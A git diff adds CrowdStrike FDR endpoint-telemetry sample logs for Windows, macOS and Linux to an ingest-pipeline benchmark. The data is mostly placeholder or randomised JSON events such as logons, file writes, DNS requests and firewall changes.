+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"}
+{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"}
+{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"}
+{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"}
+{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"}
+{"AgentLoadFlags":"none","AgentLocalTime":"none","AgentTimeOffset":"63878691745","AgentVersion":"2025.02.1","BiosManufacturer":"none","BiosVersion":"none","ChassisType":"none","City":"Bengaluru","ComputerName":"none","ConfigBuild":"1007.32.20250201.9","ConfigIDBuild":"20250201","Continent":"Asia","Country":"India","FalconGroupingTags":"none","FirstSeen":"1742447937.000","HostHiddenStatus":"visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"none","SensorGroupingTags":"none","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple","SystemProductName":"none","Time":"1743094945.000","Timezone":"Asia/Kolkata","Version":"iOS 18.3.2","aid":"44444444444444444444444444444444","aip":"0.0.0.0","cid":"55555555555555555555555555555555","event_platform":"iOS"}
+{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
new file mode 100644
index 0000000000..6f96985067
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
@@ -0,0 +1 @@
+{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
new file mode 100644
index 0000000000..4ba49239c2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
@@ -0,0 +1,4 @@
+{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"}
+{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
new file mode 100644
index 0000000000..cdbb227d80
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
@@ -0,0 +1,18 @@
+{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"}
+{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"}
+{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"}
+{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"}
+{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"OutOctets":"3000000600","CreationTimeStamp":"-11724671741.249","aip":"81.2.69.192","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"445","InDiscards":"0","InterfaceIndex":"8","event_platform":"Mac","InterfaceType":"6","EventOrigin":"1","id":"f0d3d878ef1a02ab86680075a0eda18b56e9","PhysicalAddressLength":"6","InUcastPkts":"80890102","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"55043379","PhysicalAddress":"b9-55-b4-6e-3e-c8","PrefixLength":"52","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"46360000","InMulticastPkts":"36300760","ConfigBuild":"2c8b.4.b224e8a.4f","InOctets":"5401980300","NetLuidIndex":"0","Entitlements":"76","name":"1b1a40a16643c4d9d9ad13","aid":"3bec845649acaaa1eb41d1ad4a804a38","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"216.160.83.56","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"65043379","aip":"81.2.69.142","InterfaceIndex":"8","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","NetLuidIndex":"0","Entitlements":"86","name":"4a33a844314cf727f26cb81df45b9","EventOrigin":"1","id":"a885c0aff4e59afa62b4cfc45dd233f79546","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"3bec845649acaaa1eb41d1ad4a804a38","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"9a93b1357a69e905c9a","FileCategory":"6","MachOSubType":"6","Size":"3000605","ContextThreadId":"0","aip":"89.160.20.112","BoundingLimitCount":"10","FileIdentifier":"a66e33e0aa512356892598753df4b16fa84b3ed00e65ead9","event_platform":"Mac","EventOrigin":"1","id":"1a8f053397e4f0d36a740347ced0ee4eaad4","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"MachOFileWritten","ContextTimeStamp":"1749108669.141","UserName":"4813","ConfigStateHash":"25043379","ContextProcessId":"704802000705084000","SHA256HashData":"2b364b472958e7471972b9439aa61e8381a54aa38875d77e0462cc7e91137b63","ConfigBuild":"2c8b.4.b224e8a.4f","IsOnRemovableDisk":"0","BoundingLimitDuration":"4486640","Entitlements":"26","name":"1148999d786555f3e786e","aid":"9ea510e4d87c4988253c7355515a7081","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/dc20b3d/7ef6ff25/baab5e05/baab5e05.app/437aea62/cafd6b72/22ded4e2.framework/f89ea270/5/22ded4e2"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"75043379","Timeout":"284","ParentProcessId":"0","aip":"81.2.69.142","SuppressType":"2","SHA256HashData":"b9215572dbd02a4088d652c6b02996cbd84778f361b74bd790eed52d01163a5d","ProcessCount":"5","BoundedCount":"4","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"60","event_platform":"Mac","CommandLine":"fc5353cb4801d9a102fce841618abe6fa84be2defb6649a078f21f228667ad8f -9 a0b52d20 -0 a5f99916883744114 -c 9c11c52b372e36e77b8fd37dd","Entitlements":"16","name":"53731de338efc268aed79822","EventOrigin":"45","id":"9b9091551ef260bfbe2fcbaa991fd216578d","EffectiveTransmissionClass":"2","aid":"aff97f8b915352339afe79c5a16d76b3","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1748620809.371","ConfigStateHash":"85043379","ContextProcessId":"601020521600005482","DeviceId":"506006027","ContextThreadId":"0","aip":"89.160.20.112","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","CommandLine":"8fb203f170d167a8910bfee40bd5f67ab18c470b385a64208bb 7521ca220a8ae6027c0205ba2b01c82c ce793a a8f34ba10921c4 6b9396fe89508a308632dca4bb879ce31fc550496 48c7277892b8 0f5f4216848e1e3804905fdfdc7 916ab4f4edd7894df1edbf2c7a4608e50e5ee6b085e9dc406 b42ddbaecab521 dc2356cbcb5b9c79939eead1793ef5f85b215c311422f f68dd32e713737d9 44ac9316adc24687dbacafca20b954bcf3d33dcd4de a59c027bb0a7c05d76750e3de7f569a7758ace084 04ee11a4fa1078efa8abad229976f29bcd52d351f9 4b01829a2b8c908ab96d79a2b0e1d5acb806551 90ddec41d0051638b5073f6601dcaded1500ac90f4da0ad a59c73da5938ef c1d0c94a2886b6504e539132eced46a5866b1ea8b6372b50a86fcc984a7242a5 96b1d3ac35ab026db9ccc4c8614598a00e449f47c6eb2c49bfcc1e618eacc36e f965c005547d78aa493d5422ecf3b73e4a5cf0958292f6be67dd8a515adf2e97 315ef7be6a1848b2682301660","ImageFileName":"/98e33b0f/2c014f.app/437aea62/cafd6b72/7a4c386a.app/437aea62/ba3cb/7a4c386a","Entitlements":"96","name":"a3f9634e8f5cb2a","EventOrigin":"1","id":"1653ccad055c131c79fb49ce013cfa05fde1","EffectiveTransmissionClass":"2","aid":"0883f49bee1d86ce81176e6d89766adc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"81.2.69.144","event_simpleName":"RawBindIP4","ContextTimeStamp":"1759703286.546","ConfigStateHash":"55043379","ConnectionFlags":"0","ContextProcessId":"148005106018043800","RemotePort":"260","aip":"2a02:cf40::2","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"260","Entitlements":"86","name":"2552bb1c58ae3899","EventOrigin":"1","id":"c842b689fbd78207d195d8c17e3a04a000f6","Protocol":"45","EffectiveTransmissionClass":"3","aid":"6de60f31dcfac7d0eac699802285aa4c","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1760875204.560","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::1","ConfigStateHash":"75043379","ConnectionFlags":"0","ContextProcessId":"525000013203000905","RemotePort":"60285","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","LocalPort":"28","Entitlements":"26","name":"6be29847ad234f89","EventOrigin":"1","id":"2d87ac61a22522847bc2143b50b4aac12858","Protocol":"45","EffectiveTransmissionClass":"3","aid":"bfae1ce346c864e642355116756472d6","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ScriptControlScanInfo","ScriptContent":"77bafa9 -0 ae17b9a73 3d0cf8 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c 4 ae17b9a73 0cf6 -6 97d9424ec100a0d40ca98c4d398ddfb297d0063c672821a92e1e260feceb397c","ConfigStateHash":"600000970","OriginalContentLength":"100","ContextProcessId":"516365064008244070","aip":"89.160.20.128","ContentSHA256HashData":"9d168f68bad9f1ef8371bab7c5d543e2fa0939b3dadb5aa7dd9b0ea8995a29f7","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","ScriptContentName":"/51a/89","Entitlements":"56","name":"0a1beccbcea40ac2468a3ee78b","EventOrigin":"1","id":"18d9d6cd7e98ee9ab79dffed0e5f9e3357b0","EffectiveTransmissionClass":"2","aid":"c7fe43754f5b6ebfa566ef25e9ac6ecc","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"d66187f4b1779e","event_simpleName":"TarFileWritten","ContextTimeStamp":"1753030307.865","UserName":"2e31bb4e4604be73a","FileCategory":"1","ConfigStateHash":"35043379","ContextProcessId":"140060400067209000","Size":"534039","ContextThreadId":"0","aip":"2a02:cf40::2","FileIdentifier":"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"e7ebdc66589c6ae4b87","EventOrigin":"1","id":"f6d443ab644ffa64617a90936d6da555f0a2","EffectiveTransmissionClass":"2","aid":"3e32d11b9db211e438bf9141dbc31d85","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5"}
+{"ContextBaseFileName":"6f79cfc3feaa775","event_simpleName":"XarFileWritten","ContextTimeStamp":"1757404834.724","UserName":"f27ee237062cfd9","FileCategory":"1","ConfigStateHash":"95043379","ContextProcessId":"403000009094400601","Size":"1000870","ContextThreadId":"0","aip":"81.2.69.144","FileIdentifier":"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"36","name":"708df495f98345bf516","EventOrigin":"1","id":"2633213df12f91013279bef1b12ce10d2c67","EffectiveTransmissionClass":"2","aid":"b1e14abeaf9680c3f0b9be1f18550235","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
new file mode 100644
index 0000000000..5e2379c0d8
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
@@ -0,0 +1,121 @@
+{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
